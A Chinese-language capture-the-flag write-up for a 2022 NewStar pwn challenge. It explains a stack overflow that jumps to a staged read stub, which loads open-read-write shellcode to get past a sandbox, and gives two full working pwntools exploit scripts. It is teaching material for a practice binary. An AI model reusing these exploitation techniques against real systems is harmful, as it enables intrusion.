2022NewStar新生赛week2—shellcode-revenge
先看看保护机制

打开64位ida看看

通过看代码我们发现它先在0x233000申请了一个大小为0x1000的可读可写可执行的区域,然后第一个read往这个区域读入,第二个read是栈溢出,原本一个很简单的思路,写一个shellcode,然后栈溢出把返回地址改成shellcode这边,但是因为开了沙箱

可以看出来不能调用system函数,也就是说我们得用orw,但是我们发现第一个read只能读入0x1a的大小内容,一个函数大概是0x10~0x20左右,也就是说我们只够读入一个函数,不够三个,于是我们想到了一个思路,我先读入一个read的shellcode去执行,然后用这个自己构造的read去读入orw不就好了,自己构造的read不就是想开多大开多大,然后我们再来理一下这个程序执行的思路,首先第一个read把我们构造的read读入到0x233000,然后执行第二个read去栈溢出吧返回地址改成0x233000,接下来函数返回的时候跳到了0x233000去执行,然后执行我们构造的read函数,去把orw读入进来,那么接下来问题来了,我们怎么执行orw呢,有两个方法,第一个方法就是在我们构造的时候加个ret就可以跳转到orw执行了
from pwn import*
from time import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p=remote('node4.buuoj.cn',29587)
p=process('./pwn1')
gdb.attach(p)
shellcode=shellcraft.open('./flag')+shellcraft.read('rax','rsp',0x100)+shellcraft.write(1,'rsp',0x100)
payload1=asm(shellcode)
sh=asm(shellcraft.read(0,'0x233050',0x42)+'''ret''')
p.recvuntil('little.\n')
p.sendline(sh)
p.recvuntil('time~\n')
payload=b'a'*0x38+p64(0x233000)+p64(0x233050)
p.sendline(payload)
p.recvuntil('you!\n')
p.sendline(payload1)
print(hex(len(payload1)))
p.interactive()
第二种方法就是我们知道执行完自己构造的read函数后,会接下去执行接下来的代码,那我们把orw读到read函数后面紧紧接上去不就好了吗
from pwn import*
from time import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p=remote('node4.buuoj.cn',29587)
p=process('./pwn1')
#gdb.attach(p)
shellcode=shellcraft.open('./flag')+shellcraft.read('rax','rsp',0x100)+shellcraft.write(1,'rsp',0x100)
payload1=asm(shellcode)
sh=asm(shellcraft.read(0,'0x233014',0x42))
p.recvuntil('little.\n')
p.sendline(sh)
p.recvuntil('time~\n')
payload=b'a'*0x38+p64(0x233000)
p.sendline(payload)
p.recvuntil('you!\n')
#p.sendline('666')
p.sendline(payload1)
print(hex(len(payload1)))
p.interactive()

浙公网安备 33010602011771号